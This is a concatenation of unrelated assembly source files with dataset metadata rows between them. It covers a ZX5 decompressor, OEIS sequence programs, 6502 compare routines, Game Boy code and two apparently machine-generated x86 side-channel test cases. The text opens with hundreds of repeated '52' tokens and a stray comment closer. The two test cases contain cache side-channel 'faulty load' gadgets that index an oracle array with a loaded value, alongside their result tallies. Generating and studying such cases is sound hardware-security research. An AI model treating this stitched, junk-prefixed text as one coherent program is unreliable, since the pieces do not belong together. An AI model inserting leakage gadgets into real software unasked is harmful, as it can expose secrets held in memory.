52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 32.607759 | 2,999 | 0.656444 |
973b780784a72be8de7f770c81bbd82ee67c8042 | 4,462 | asm | Assembly | dzx5_turbo.asm | uniabis/z80depacker | a5dc3a0a7d3cb07a814490463b93fa42b3e66c68 | [
"MIT"
] | 25 | 2019-08-16T11:03:39.000Z | 2022-03-23T23:22:46.000Z | z80/dzx5_turbo.asm | einar-saukas/ZX5 | 61616ffd641fb15add702663f57e3b3067d25ee5 | [
"BSD-3-Clause"
] | null | null | null | z80/dzx5_turbo.asm | einar-saukas/ZX5 | 61616ffd641fb15add702663f57e3b3067d25ee5 | [
"BSD-3-Clause"
] | 1 | 2021-04-04T01:07:24.000Z | 2021-04-04T01:07:24.000Z | ; -----------------------------------------------------------------------------
; ZX5 decoder by Einar Saukas
; "Turbo" version (158 bytes, 16% faster)
; -----------------------------------------------------------------------------
; Parameters:
; HL: source address (compressed data)
; DE: destination address (decompressing)
; -----------------------------------------------------------------------------
dzx5_turbo:
ld bc, $ffff ; preserve default offset 1
ld (dzx5t_last_offset+1), bc
inc bc
ld a, $80
jr dzx5t_literals
dzx5t_other_offset:
add a, a ; copy from previous offset or new offset?
jr nz, dzx5t_other_offset_skip
ld a, (hl) ; load another group of 8 bits
inc hl
rla
dzx5t_other_offset_skip:
exx
jr nc, dzx5t_prev_offset
dzx5t_new_offset:
ex de, hl ; copy 2nd last offset to 3rd last offset
ld hl, (dzx5t_last_offset+1) ; copy last offset to 2nd last offset
ld b, a ; preserve next bit
add a, a
exx
ld c, $fe ; prepare negative offset
add a, a
jp nz, dzx5t_new_offset_skip
ld a, (hl) ; load another group of 8 bits
inc hl
rla
dzx5t_new_offset_skip:
call nc, dzx5t_elias ; obtain offset MSB
inc c
ret z ; check end marker
ld b, c
ld c, (hl) ; obtain offset LSB
inc hl
ld (dzx5t_last_offset+1), bc ; preserve new offset
ld bc, 1 ; obtain length
exx
dec b ; restore preserved bit
exx
call p, dzx5t_elias
inc bc
dzx5t_copy:
push hl ; preserve source
dzx5t_last_offset:
ld hl, 0 ; restore offset
add hl, de ; calculate destination - offset
ldir ; copy from offset
pop hl ; restore source
add a, a ; copy from literals or another offset?
jr c, dzx5t_other_offset
dzx5t_literals:
inc c ; obtain length
add a, a
jp nz, dzx5t_literals_skip
ld a, (hl) ; load another group of 8 bits
inc hl
rla
dzx5t_literals_skip:
call nc, dzx5t_elias
ldir ; copy literals
add a, a ; copy from last offset or another offset?
jr c, dzx5t_other_offset
dzx5t_reuse_offset:
inc c ; obtain length
add a, a
jp nz, dzx5t_last_offset_skip
ld a, (hl) ; load another group of 8 bits
inc hl
rla
dzx5t_last_offset_skip:
call nc, dzx5t_elias
jp dzx5t_copy
dzx5t_prev_offset:
add a, a ; copy from 2nd offset or 3rd offset?
jr nc, dzx5t_second_offset
ex de, hl
dzx5t_second_offset:
ld bc, (dzx5t_last_offset+1)
ld (dzx5t_last_offset+1), hl
ld h, b
ld l, c
exx
jp dzx5t_reuse_offset
dzx5t_elias:
add a, a ; interlaced Elias gamma coding
rl c
add a, a
jr nc, dzx5t_elias
ret nz
ld a, (hl) ; load another group of 8 bits
inc hl
rla
ret c
add a, a
rl c
add a, a
ret c
add a, a
rl c
add a, a
ret c
add a, a
rl c
add a, a
ret c
dzx5t_elias_loop:
add a, a
rl c
rl b
add a, a
jr nc, dzx5t_elias_loop
ret nz
ld a, (hl) ; load another group of 8 bits
inc hl
rla
jr nc, dzx5t_elias_loop
ret
; -----------------------------------------------------------------------------
| 34.859375 | 82 | 0.405424 |
e9e9d30b25ba79173531a197e130126342b6c8a8 | 1,587 | asm | Assembly | Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2.log_82_1114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2.log_82_1114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2.log_82_1114.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xbe25, %rsi
lea addresses_D_ht+0xce42, %rdi
nop
nop
nop
nop
nop
and $44255, %r8
mov $1, %rcx
rep movsb
inc %r13
lea addresses_D_ht+0x3342, %r10
nop
cmp $195, %r12
movl $0x61626364, (%r10)
nop
nop
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r8
push %rax
push %rbx
// Faulty Load
mov $0xb42, %r12
nop
nop
nop
nop
cmp %r10, %r10
movups (%r12), %xmm0
vpextrq $1, %xmm0, %r15
lea oracles, %rbx
and $0xff, %r15
shlq $12, %r15
mov (%rbx,%r15,1), %r15
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}}
{'00': 82}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 20.088608 | 245 | 0.650914 |
3406007cedc941efad4810d8c0189d851c08e57c | 1,558 | asm | Assembly | programs/oeis/067/A067725.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/067/A067725.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/067/A067725.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A067725: a(n) = 3*n^2 + 6*n.
; 0,9,24,45,72,105,144,189,240,297,360,429,504,585,672,765,864,969,1080,1197,1320,1449,1584,1725,1872,2025,2184,2349,2520,2697,2880,3069,3264,3465,3672,3885,4104,4329,4560,4797,5040,5289,5544,5805,6072,6345,6624,6909,7200,7497,7800,8109,8424,8745,9072,9405,9744,10089,10440,10797,11160,11529,11904,12285,12672,13065,13464,13869,14280,14697,15120,15549,15984,16425,16872,17325,17784,18249,18720,19197,19680,20169,20664,21165,21672,22185,22704,23229,23760,24297,24840,25389,25944,26505,27072,27645,28224,28809,29400,29997,30600,31209,31824,32445,33072,33705,34344,34989,35640,36297,36960,37629,38304,38985,39672,40365,41064,41769,42480,43197,43920,44649,45384,46125,46872,47625,48384,49149,49920,50697,51480,52269,53064,53865,54672,55485,56304,57129,57960,58797,59640,60489,61344,62205,63072,63945,64824,65709,66600,67497,68400,69309,70224,71145,72072,73005,73944,74889,75840,76797,77760,78729,79704,80685,81672,82665,83664,84669,85680,86697,87720,88749,89784,90825,91872,92925,93984,95049,96120,97197,98280,99369,100464,101565,102672,103785,104904,106029,107160,108297,109440,110589,111744,112905,114072,115245,116424,117609,118800,119997,121200,122409,123624,124845,126072,127305,128544,129789,131040,132297,133560,134829,136104,137385,138672,139965,141264,142569,143880,145197,146520,147849,149184,150525,151872,153225,154584,155949,157320,158697,160080,161469,162864,164265,165672,167085,168504,169929,171360,172797,174240,175689,177144,178605,180072,181545,183024,184509,186000,187497
mov $1,2
add $1,$0
mul $1,$0
mul $1,3
| 194.75 | 1,487 | 0.815148 |
8c7c181c93094958d3deef6ed9e4c5d9cc138b64 | 2,443 | asm | Assembly | math/cmp.asm | FolkertVanVerseveld/c64 | a244b976cc650a86566b88066c0f7cb3a3915f09 | [
"MIT"
] | 1 | 2018-12-26T22:55:37.000Z | 2018-12-26T22:55:37.000Z | math/cmp.asm | FolkertVanVerseveld/c64 | a244b976cc650a86566b88066c0f7cb3a3915f09 | [
"MIT"
] | null | null | null | math/cmp.asm | FolkertVanVerseveld/c64 | a244b976cc650a86566b88066c0f7cb3a3915f09 | [
"MIT"
] | null | null | null | // Assembler: KickAssembler 4.4
// source: http://www.6502.org/tutorials/compare_beyond.html
.var num1 = $60
.var num1l = $60
.var num1m = $61
.var num1h = $62
.var num2 = $63
.var num2l = $63
.var num2m = $64
.var num2h = $65
// branch if num1 <= num2
lda num1
cmp num2
bcc !label+
beq !label+
brk // num1 > num2
!label:
brk // num1 <= num2
// branch if num2 >= num1
// this is equivalent to num1 <= num2 but faster and shorter
lda num2
cmp num1
bcs !label+
brk // num1 < num2
!label:
brk // num2 >= num1
// 4.1 COMPARING ONE BYTE AT A TIME
// Example 4.1.1: a 16-bit unsigned comparison which branches to LABEL2 if NUM1 < NUM2
lda num1h
cmp num2h
bcc !label2+ // if num1h < num2h then num1 < num2
bne !label1+ // if num1h <> num2h then num1 > num2
lda num1l
cmp num2l
bcc !label2+ // if num1l < num2l then num1 < num2
!label1:
brk // num1 >= num2
!label2:
brk // num1 < num2
// Example 4.1.2: a 16-bit unsigned comparison which branches to LABEL2 if NUM1 >= NUM2
lda num1h // compare high bytes
cmp num2h
bcc !label1+ // if num1h < num2h then num1 < num2
bne !label2+ // if num1h <> num2h then num1 > num2 (so num1 >= num2)
lda num1l // compare low bytes
cmp num2l
bcs !label2+ // if num1l >= num2l then num1 >= num2
!label1:
brk // num1 < num2
!label2:
brk // num1 >= num2
// Example 4.1.3: a 24-bit unsigned comparison which branches to LABEL2 if NUM1 < NUM2
lda num1h // compare high bytes
cmp num2h
bcc !label2+ // if num1h < num2h then num1 < num2
bne !label1+ // if num1h <> num2h then num1 > num2 (so num1 >= num2)
lda num1m // compare middle bytes
cmp num2m
bcc !label2+ // if num1m < num2m then num1 < num2
bne !label1+ // if num1m <> num2m then num1 > num2 (so num1 >= num2)
lda num1l // compare low bytes
cmp num2l
bcc !label2+ // if num1l < num2l then num1 < num2
!label1:
brk // num1 >= num2
!label2:
brk // num1 < num2
// Example 4.1.4: a 24-bit unsigned comparison which branches to LABEL2 if NUM1 >= NUM2
lda num1h // compare high bytes
cmp num2h
bcc !label1+ // if num1h < num2h then num1 < num2
bne !label2+ // if num1h <> num2h then num1 > num2 (so num1 >= num2)
lda num1m // compare middle bytes
cmp num2m
bcc !label1+ // if num1m < num2m then num1 < num2
bne !label2+ // if num1m <> num2m then num1 > num2 (so num1 >= num2)
lda num1l // compare low bytes
cmp num2l
bcs !label2+ // if num1l >= num2l then num1 >= num2
!label1:
brk
!label2:
brk
| 24.928571 | 87 | 0.65657 |
c19d6248213ecdf2195b2929e402006e2eaa6a55 | 740 | asm | Assembly | oeis/220/A220846.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/220/A220846.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/220/A220846.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A220846: a(n) = sum_(d|n) ((product_(d|n) d) / d).
; Submitted by Jon Maiga
; 1,3,4,14,6,72,8,120,39,180,12,4032,14,336,360,1984,18,12636,20,16800,672,792,24,829440,155,1092,1080,43904,30,1944000,32,64512,1584,1836,1680,25474176,38,2280,2184,5760000,42,7112448,44,162624,157950,3312,48,658243584,399,232500,3672,264992,54,18895680,3960,21073920,4560,5220,60,130636800000,62,5952,412776,4161536,5460,41399424,68,582624,6624,49392000,72,377308938240,74,8436,697500,808640,7392,79724736,80,7618560000,88209,10332,84,936794750976,9180,11352,10440,122664960,90,1381746600000,10192
mov $1,$0
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
seq $1,7956 ; Product of proper divisors of n.
mul $1,$0
mov $0,$1
| 74 | 499 | 0.752703 |
f4fd6a4f955f2838d84489ae64472f87a10eec53 | 1,297 | asm | Assembly | src/vbl/vbl_piano.asm | furrtek/GB303 | 2f275fff085b05fdc7843074dcc062956a1d8d56 | [
"CC-BY-4.0"
] | 90 | 2015-06-19T14:26:19.000Z | 2022-01-05T08:19:41.000Z | src/vbl/vbl_piano.asm | furrtek/GB303 | 2f275fff085b05fdc7843074dcc062956a1d8d56 | [
"CC-BY-4.0"
] | 2 | 2015-06-21T20:55:40.000Z | 2022-02-09T08:02:04.000Z | src/vbl/vbl_piano.asm | furrtek/GB303 | 2f275fff085b05fdc7843074dcc062956a1d8d56 | [
"CC-BY-4.0"
] | 10 | 2015-06-21T20:43:11.000Z | 2020-12-08T13:24:16.000Z | vbl_piano:
call RAMtoOAM
ld hl,FRAME
inc (hl)
call readinput
call input_piano
ld a,(HWOK_ADC)
or a
call nz,readpots
ld hl,OAMCOPY
ld bc,$40
call clear
;Sequence cursor
ld hl,OAMCOPY
ld a,39
ldi (hl),a ;Y
ld a,(NOTEIDX)
sla a
sla a
sla a
add 32
ld d,a
ldi (hl),a ;X
ld a,T_CURSEQ
ldi (hl),a ;#
xor a
ldi (hl),a ;Attr
ld b,12
ld c,39+8
-:
ld a,c
ldi (hl),a ;Y
add 8
ld c,a
ld a,d
ldi (hl),a ;X
ld a,T_CURSEQ2
ldi (hl),a ;#
xor a
ldi (hl),a ;Attr
dec b
jr nz,-
ld a,(FRAME)
bit 2,a
jr z,+++
push hl
;Keyboard cursor
ld a,(NOTECUR_X)
call getnotenumber
pop hl
or a
;jr nz,+
;ld a,128+16
;jr ++
;+:
call getnoteypos
sla a
sla a
sla a
add 64-16
++:
ldi (hl),a
ld a,(NOTECUR_X)
sla a
sla a
sla a
add 32
ldi (hl),a
ld a,T_CURNOTE
ldi (hl),a
xor a
ldi (hl),a
+++:
call changescreen ;Always do this at end of VBL
ret
| 15.258824 | 62 | 0.41249 |
99653b7a4182910a9dcbf821bce6859bdbfb00d2 | 307 | asm | Assembly | oeis/040/A040421.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/040/A040421.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/040/A040421.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A040421: Continued fraction for sqrt(443).
; Submitted by Christian Krause
; 21,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42,21,42
trn $0,1
mod $0,2
mul $0,21
add $0,21
| 34.111111 | 190 | 0.677524 |
f4a84deec3da4f397596b6f2d502165f1b988fe4 | 526 | asm | Assembly | oeis/037/A037774.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/037/A037774.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/037/A037774.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A037774: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 3,1,0,2.
; Submitted by Jon Maiga
; 3,19,114,686,4119,24715,148290,889742,5338455,32030731,192184386,1153106318,6918637911,41511827467,249070964802,1494425788814,8966554732887,53799328397323,322795970383938,1936775822303630
add $0,1
mov $2,4
lpb $0
mov $3,$2
mul $3,2
lpb $3
add $2,1
mod $3,5
div $4,7
cmp $4,0
sub $3,$4
add $5,1
lpe
sub $0,1
add $2,1
mul $5,6
lpe
mov $0,$5
div $0,6
| 21.916667 | 189 | 0.684411 |
1c418435bbd0bf5fdd3249290a75381273159744 | 305 | asm | Assembly | libsrc/stdio/ansi/spectrum/f_ansi_scrollup.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/stdio/ansi/spectrum/f_ansi_scrollup.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/stdio/ansi/spectrum/f_ansi_scrollup.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Spectrum C Library
;
; ANSI Video handling for ZX Spectrum
;
; Handles colors referring to current PAPER/INK/etc. settings
;
; Scrollup
;
;
; $Id: f_ansi_scrollup.asm $
;
SECTION code_clib
PUBLIC ansi_SCROLLUP
EXTERN generic_console_scrollup
.ansi_SCROLLUP
jp generic_console_scrollup
| 13.863636 | 62 | 0.747541 |
40e518245e4decca2f7bc7d98b383a84b1e2f3ec | 614 | asm | Assembly | oeis/157/A157288.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/157/A157288.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/157/A157288.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A157288: a(n) = 10368*n^2 - 288*n + 1.
; 10081,40897,92449,164737,257761,371521,506017,661249,837217,1033921,1251361,1489537,1748449,2028097,2328481,2649601,2991457,3354049,3737377,4141441,4566241,5011777,5478049,5965057,6472801,7001281,7550497,8120449,8711137,9322561,9954721,10607617,11281249,11975617,12690721,13426561,14183137,14960449,15758497,16577281,17416801,18277057,19158049,20059777,20982241,21925441,22889377,23874049,24879457,25905601,26952481,28020097,29108449,30217537,31347361,32497921,33669217,34861249,36074017,37307521
add $0,1
mul $0,36
bin $0,2
sub $0,630
div $0,18
mul $0,288
add $0,10081
| 55.818182 | 498 | 0.819218 |
e3c56e8c417c50bfa605fada51bdf4b5f0a78db2 | 6,420 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_759.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_759.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_759.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x15bb7, %rbp
nop
nop
xor $4494, %r11
vmovups (%rbp), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rsi
nop
nop
nop
nop
nop
cmp $11367, %rdx
lea addresses_WT_ht+0xf377, %r14
nop
nop
nop
cmp $22183, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
nop
nop
inc %rdx
lea addresses_WC_ht+0x132d7, %rbp
nop
nop
inc %r8
mov $0x6162636465666768, %r14
movq %r14, %xmm0
and $0xffffffffffffffc0, %rbp
movntdq %xmm0, (%rbp)
nop
nop
nop
nop
cmp $61810, %r11
lea addresses_A_ht+0x16d7, %rdx
nop
nop
sub $3857, %r12
movb (%rdx), %r14b
nop
nop
nop
sub %rdx, %rdx
lea addresses_WT_ht+0x64d7, %rsi
lea addresses_WT_ht+0x1960f, %rdi
nop
nop
nop
nop
nop
add $4974, %r14
mov $55, %rcx
rep movsw
nop
add %r8, %r8
lea addresses_WT_ht+0x14777, %rdx
nop
nop
nop
nop
nop
sub $17218, %rdi
movups (%rdx), %xmm3
vpextrq $1, %xmm3, %rbp
xor $62228, %r12
lea addresses_A_ht+0x2457, %rsi
clflush (%rsi)
nop
nop
nop
nop
cmp $54932, %rdx
mov (%rsi), %edi
nop
xor %r14, %r14
lea addresses_D_ht+0x19321, %rsi
lea addresses_UC_ht+0xeed7, %rdi
clflush (%rsi)
nop
nop
nop
add %r11, %r11
mov $48, %rcx
rep movsq
nop
nop
nop
nop
dec %rdx
lea addresses_WC_ht+0x6957, %rsi
lea addresses_D_ht+0x16ed7, %rdi
nop
nop
nop
nop
nop
and $49276, %rdx
mov $110, %rcx
rep movsw
nop
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rax
push %rdi
push %rdx
// Faulty Load
lea addresses_US+0x146d7, %rax
clflush (%rax)
xor %r13, %r13
movntdqa (%rax), %xmm0
vpextrq $0, %xmm0, %r9
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rdx
pop %rdi
pop %rax
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}}
{'46': 1, '00': 21828}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 